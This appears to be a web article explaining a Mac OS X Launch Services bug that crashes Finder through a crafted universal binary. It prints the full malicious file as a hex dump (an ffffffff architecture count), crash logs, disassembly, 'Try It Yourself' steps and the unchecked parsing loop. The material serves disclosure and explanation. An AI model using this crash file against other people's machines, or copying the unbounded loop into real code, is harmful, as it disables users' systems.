Home » Learning Curve » Hotspots
Epic Fail for Apple's Launch ServicesCan it be exploited?
Apple's launch services have a fatal flaw which can render Mac OS X unusable. This flaw has been known for a long time and Apple have known about it for a long time as well. The flaw doesn't seem to have been exploited. But an unskilled user might be rendered rather helpless. Joe Ranieri of Alacatia Labs discovered the flaw over a year ago and reported it to Apple back in February 2008.
5771210
'What would you say to an application that crashes Finder to the point of being useless? One that merely has to be downloaded and not even run?' asks Ranieri rhetorically. What would one say indeed. It's easy to find out - just download the 1 KB package - preferably to your desktop - and unzip it.
There's a QuickTime clip available here.
Finder's Crash Log
So what happens? How can the mere existence of a file bring the system down? Here's Finder's crash log.
Thread 2 Crashed:
0 com.apple.LaunchServices 0x918a001f LSAddExecutableFormatInfo(char const*, unsigned long, OpaqueResourceFileRef*, unsigned*, __CFDictionary*) + 717
1 com.apple.LaunchServices 0x9189847a LSAddBundleExecutableInfo(__CFBundle*, LSRegistrationInfo*, __CFDictionary*) + 398
2 com.apple.LaunchServices 0x918972c5 LSRegisterDirectoryNode(LSContext*, FSNode*, LSRegistrationInfo*, AliasRecord const*, unsigned long*) + 395
3 com.apple.LaunchServices 0x91894658 _LSFindOrRegisterBundleNode + 1064
4 com.apple.LaunchServices 0x918a2235 _LSCopyItemAttributeForRefInfo + 179
5 com.apple.DesktopServices 0x92521c5b LockLSCopyItemAttributeForRefInfo(LSExtendedFSRefInfo const*, unsigned long, __CFString const*, void const**) + 61
6 com.apple.DesktopServices 0x925219a0 THFSPlusRef::GetDistinctDisplayName(unsigned long, FSCatalogInfo*, HFSUniStr255&) const + 170
7 com.apple.DesktopServices 0x925218bb THFSPlusRef::SetDisplayName(unsigned long, FSCatalogInfo&) + 61
8 com.apple.DesktopServices 0x92520f14 THFSPlusRef::Set(bool, FSRef const&, HFSUniStr255 const*, short, unsigned long, bool, unsigned long, FSCatalogInfo*) + 1274
9 com.apple.DesktopServices 0x92527999 THFSPlusIterator::Next(THFSPlusRef&) + 335
10 com.apple.DesktopServices 0x92527819 THFSPlusSynchronizer::Next(THFSPlusStore&) + 29
11 com.apple.DesktopServices 0x925300aa THFSPlusStore::SynchronizeChildren(TChildrenList&) + 146
12 com.apple.DesktopServices 0x9252ffda TNode::SynchronizeChildren() + 54
13 com.apple.DesktopServices 0x9252fa92 TNode::ReconcileChildren(TNode::StSynchronize const&, bool) + 78
14 com.apple.DesktopServices 0x9252de5e TNode::HandleSync(bool) + 374
15 com.apple.DesktopServices 0x9251ea73 TNodeSyncTask::SyncTaskProc(void*) + 447
16 ...ple.CoreServices.CarbonCore 0x90cb5f84 PrivateMPEntryPoint + 51
17 libSystem.B.dylib 0x90023d67 _pthread_body + 84
What's immediately obvious is that something in the launch services went south. Something is sent to the launch services; _LSFindOrRegisterBundleNode() is going to see if the file in question is already registered - and if not then register it.
'From the looks of it, it's trying to determine the format of the executable', writes Ranieri.
movl 0xfffffb08(%ebp),%eax
leal 0xfffffd34(%ebp),%edx
movl $0x00000200,0x08(%esp)
movl %edx,0xfffffafc(%ebp)
movl %edx,0x04(%esp)
movl %eax,(%esp)
calll read$UNIX2003
'You'll notice it's only reading 512 (0x200) bytes. A bit after this it checks the first long in the data to see which type of executable it is - Mach-O, Mach-O 64-bit, PEF, or a fat binary. If we go down the function a bit more, you'll notice there's some strings for each arch type (ppc, ppc64, i386, x86_64). So, what it must be doing is looping through each fat_arch that follows the fat_header. However, since we're getting crashes, it must not be making sure that it stops reading at the end of its buffer.'
Oops. The 'binary' in the bomb you may have just downloaded looks namely like this.
00000000 ca fe ba be ff ff ff ff 00 00 00 00 00 00 00 00 |................|
00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000060 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000080 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000090 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
000000a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
000000b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
000000c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
000000d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
000000e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
000000f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000100 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000110 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000160 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000170 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000180 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000190 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
000001a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
000001b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
000001c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
000001d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
000001e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
000001f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
Save for the first eight bytes it's completely zeroed out. The first four bytes ('cafebabe') indicate this is a universal binary; the second four bytes give the count of architectures - 0xffffffff (4,294,967,295).
So basically Finder is checking out the newcomer. But is Finder simply reporting to the launch services or is it asking for something in return? Almost anyone can be made to crash in the same way. And no matter what they ask for, the launch services get involved and then try to do some bookkeeping of their own. And trip over their own feet.
0 com.apple.LaunchServices 0x918a001f LSAddExecutableFormatInfo(char const*, unsigned long, OpaqueResourceFileRef*, unsigned*, __CFDictionary*) + 717
1 com.apple.LaunchServices 0x9189847a LSAddBundleExecutableInfo(__CFBundle*, LSRegistrationInfo*, __CFDictionary*) + 398
2 com.apple.LaunchServices 0x918972c5 LSRegisterDirectoryNode(LSContext*, FSNode*, LSRegistrationInfo*, AliasRecord const*, unsigned long*) + 395
3 com.apple.LaunchServices 0x91894658 _LSFindOrRegisterBundleNode + 1064
4 com.apple.LaunchServices 0x918a798d _LSCopyDisplayNameForNode + 155
5 com.apple.LaunchServices 0x918a78d1 _LSCopyDisplayNameForRefInfo + 131
6 com.apple.LaunchServices 0x918a9698 LSCopyDisplayNameForRef + 76
7 com.apple.Foundation 0x9262c528 -[NSFileManager displayNameAtPath:] + 109
8 com.panic.FTPKit 0x00171b3e +[ItemFactory localItemWithPath:includeIcon:showExactFileSizes:iconType:] + 1158
9 com.panic.Transmit3 0x000c8a04 -[DirectoryCache(DirectoryLoading) addLocalItem:inDirectory:toItems:iconType:] + 274
10 com.panic.Transmit3 0x000df185 -[PCFolderLoader(Internals) loadLocalPathInThread:] + 533
11 com.apple.Foundation 0x925f836c forkThreadForFunction + 123
12 libSystem.B.dylib 0x90023d67 _pthread_body + 84
Whenever this code was first written - probably at Apple after the merger - someone figured it wasn't necessary to check for buffer overrun. As in 'who would ever corrupt a binary?' But accidents happen, disks screw up, and there's always one kind soul out there trying to help fate along. And it really doesn't take much code - or time - to fix this. A minute or two tops.
Try It Yourself
You can try this yourself but you should get things set up a bit first. Move the download to your desktop ('~/Desktop'). Open up a Terminal window in the same directory. Type in the following command but don't hit Enter yet.
% mv NukeApp.app NukeApp
(Removing the 'app' extension will stop programs from thinking they're looking at a Cocoa bundle.)
Double-click the download. After you get tired of watching things crash - hit Enter in your Terminal window.
It's Not Always Like This
Ranieri has evidence programmers in Cupertino have written similar code in a safer fashion. Taking the following snippet:
int file = open("/path/to/binary")
char buffer[512];
read(buffer, sizeof(buffer), file);
fat_header *header = buffer;
fat_arch *archs = buffer + sizeof(fat_header);
for (int i = 0; i < header->nfat_archs; i++) {
// do something with archs[i]
}
'This situation comes up in a few diferent places', writes Ranieri. 'So how do they handle it?'
- CFBundle restricts the nfat_archs count to the most that fits in the buffer.
- The kernel loader returns an error if the archs exceed the size of its buffer (one page).
And it's not exploitable, insists Ranieri. ' You cannot inject code into Finder, the Dock, or any other process that crashes in this routine. It's simply a crash.'
But it's a nasty one. It might never result in MacConficker but it could leave an unskilled user helpless.
We have issues in Apple's bug tracking system that are over a year old. Some are quite serious with root level escalation. I feel your pain. - Joseph Cohen
See Also Joe Ranieri: The Universal Binary of Crashiness
|